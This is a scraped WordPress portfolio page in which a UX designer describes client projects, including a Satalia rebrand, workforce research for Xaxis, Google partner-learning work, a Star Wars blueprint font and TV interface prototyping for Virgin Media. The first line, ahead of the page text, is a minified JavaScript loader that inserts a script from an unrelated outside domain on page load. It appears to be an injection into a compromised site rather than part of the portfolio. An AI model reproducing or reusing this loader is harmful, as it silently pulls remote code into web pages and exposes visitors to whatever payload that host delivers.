;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); amartin@antigravity-systems.com - Roux Martin

Hello world!

Welcome to WordPress. This is your first post. Edit or delete it, then start writing!


As I joined Satalia it became clear that the brand design they had was unfit for much more than the most basic print advertising and the font was expensive to licence and required lots of adjustment to make it work.

I carried out some case studies of other Artificial Intelligence companies and it was clear that the Satalia brand was significantly lacking in colours and graphical elements.


After chatting with the company’s founder I found that he was passionate about environmental issues and creating a non-hierarchical workforce that could swarm in and out of teams as needed. 

Dark mode by default

The existing brand only had two colours: black and white. This made everything harsh and difficult to read on a screen. I chose a ‘Dark mode by default’ approach. The idea was that we could save energy over brighter screens.

I chose fully accessible colours to represent the different facets of the company along with secondary colours and gradients as well as a set of semantic colours. 

Finally, I swapped the font for one that was very similar but higher quality and free to use.


Graphical elements were limited to an abstract form that looked like corrugated metal. No one in the company understood the significance of this imagery and it caused accessibility and layout issues wherever it was used.

Using the idea of workers coming together in ‘swarms’ for projects, I decided to mimic some of the patterns made by migratory birds and chose those as the new graphical elements.

At the time of writing, this rebrand is still in process limbo with the correct people waiting to sign off on its use but the branding team love it and is eager to make use of the new styles.

Xaxis Via Satalia/WPP

Workforce Optimisation Research

Satalia were called into Xaxis to help optimise work distribution using machine learning and AI. The original idea was that Satalia could build an engine that took into account every worker’s skills, likes, dislikes, and career goals and use this information to help to distribute tasks to those workers who they most suited or benefitted.

User Needs

The first thing I needed to do was to find out what task distribution was already happening, how those decisions were being made, and how both sets of people (the managers and the workers) felt about it. I asked for a number of interviews with staff at different levels of the business and designed an interview script that captured everything I wanted without leading the interviewees.

Unexpected Outcome

The interviews revealed something that was unexpected for both Satalia and Xaxis. While there were company practices defined for the distribution and monitoring of work and workloads, none were being used. This was mainly because the processes that had been defined were wholly unsuitable for the way the work was coming into the company. Instead of work coming in through a point where it could be evaluated and distributed, work was entering the company at all levels based on direct client relationships with low-level workers who felt unable to decline or pass on jobs that they felt were unsuited to them or better suited to someone else. 

I also drafted what a hypothetical AI/ML-driven task allocation system might look like.

This new information was compiled into a report and shared with Xaxis. The client was very grateful for this discovery and continues to work with Satalia to try to find a solution that maintains a strong client relationship but allows for more flexibility in assigning tasks.

Google (via EPAM)

The Google Cloud logo and word mark.

Google was experiencing lots of incomplete journeys with their existing Partner Learning products and wanted to understand why and where this was happening as well as solve the problem.

Arriving at Google it became apparent that there were several different teams running different learning platforms each with its own problems. End users needed to use multiple log-ins to complete a number of tasks across multiple platforms in order to receive accreditation.


To understand the problems users faced and to discover an outline of their ideal system, I ran a series of interviews and workshops with end-users and staff development officers from partnered businesses. The main problem seemed to be that there was no central point where a user or staff development officer could monitor progress, evaluate achievement, or plan direction.

Pain Points Workshop. There are several people sitting around a long table while one stands at a whiteboard with sticky notes on it. The people are discussing way in which the product experience is unsatisfactory while the person at the board makes notes.

Business Analysis

Together with a Business Analyst, we worked to uncover what could be achieved using data from the existing systems and mapping out what would need to be added to enhance the system.

A flow diagram showing the relationships between various learning content delivery platforms.

Prototyping and Testing

Using the data from the interviews and the business analysis, I then designed and built a prototype to demonstrate what users were expecting. After sharing with the business, I then ran some user testing sessions with the new prototype to confirm that my findings were correct.

A screenshot of a prototype user interface during a user testing session.


After seeing such a positive response from users, Google chose to commission further work towards unifying their offerings into a single learning management solution.

Blueprint ’77

After acquiring a book of blueprints from the props department of the Star Wars films, I thought it would be interesting to produce a Star Wars font that wasn’t part of the usual on-screen experience.

I scanned the various letter shapes and punctuation that I could find, and brought them into Adobe Illustrator to convert into vector files. Here I could also tidy things up a little and bring in some uniformity in terms of size and weight. I then exported those into font-mapping software.

Blueprint ’77 was uploaded to FontSpace and is now available across the internet.

Carvana via NESS

Whilst working at Ness SES I had some great opportunities to work on mobile products. One of these was an app for a US-based disruptive used car dealership, Carvana.

Initial Approach

Carvana wanted something to keep their customer with them long after the initial car purchase. Using notes and whiteboard snapshots taken from stakeholder interviews in the US I constructed proto-personae based on the four key customer types they wanted to target.


As this was a new product to the market it was difficult to find direct competitors, instead, I looked at competitors who exemplified the various aspects that we were trying to capture.

First Drafts

Using the data from the proto-personae and the competitor analysis I started to build wireframes of the various function sets that would be required in the finished product.

MVS Platts via NESS

One of the first things I tackled at Ness was a MetCoal futures reporting platform for MVS. The project had been started before I joined the company and I needed to restore the client’s faith in Ness along with continuing the project from where it had been left by my predecessor.

Complex Charts

Because of the nature of the subject matter, I had to make some complex charts. Firstly I had to learn the conventions of working both with futures and the MetCoal market to understand how charts are read and which symbols mean what.

From there I was able to start building colour and load tests for the charts

Layering information

To keep the charts as readable as possible I kept quite a lot of information out but, for more detailed decision-making, this information is still needed so I added them back in the form of overlays and legends. This meant that, once the user had set the charts up to suit the way they like to work, they can get an overview by simply glancing at the chart or get more detailed information by hovering over the chart or clicking a specific data point.

Ericsson via Amberlight

Amberlight UX brought me in to run a research project end-to-end for the global communications company Ericsson, testing a web-based system management portal. They wanted to find and understand any usability problems that might have been overlooked in the design phase.

Study Design

Given some time to talk to the developers and explore the interface for myself, I constructed a study that consisted of four main task areas each broken down into a series of subtasks that covered the data points required by the client. To go along with this I also wrote a script that covered all the tasks along with some other general notes and questions to help keep the interviews flowing.


The fieldwork for this particular project consisted of 12 remote user testing sessions using the “Think Aloud” method. Each interview consisted of a short introduction, the task completion exercises, some further questions about the product as a whole and an online survey. Participants were based in India, Brazil and the US and were all from systems engineering backgrounds – all participants were pre-selected by the client

Analysing The Results

After the interviews were completed I took time to type up my handwritten notes and record the survey entries. When the analysis took place I already had a strong idea of what I would see based on the interviews and the survey results.


The last thing I needed to do for this project was to report the results back to a committee consisting of the product owner, the design team and the development team with recommendations for improvements and next steps.

Virgin Media

While working at Virgin Media I had the opportunity to work on some interesting projects, not least of which was an experimental TV interface for a new hardware platform they were testing

The Basic Screens

The modern patterns for program guides seem to be the best solution for the job so there was little to explore there.

The navigational limitations also restrict what can be done with other screens and mean that little can be added beyond a basic grid system

Navigational Solutions

The real problems came when I started to look at the possibilities for navigation. The prototype hardware had been delivered with a remote control that had functions that not even the platform developers understood. Some of the complaints around the current TiVo platform came from the complexity of the remote control so I didn’t want to make a navigation system that required a complex controller. In order to simplify the on-screen navigation, I had to redesign the controller so that some of the transport keys could be used for things like “next page” and “previous page” or “next day” and “previous day”.

The Working Model

Once I had redesigned the controller I needed to construct a prototype that would allow me to test out the various navigational models I wanted to use. I did this using the same tools used by the platform: HTML, CSS, and JavaScript.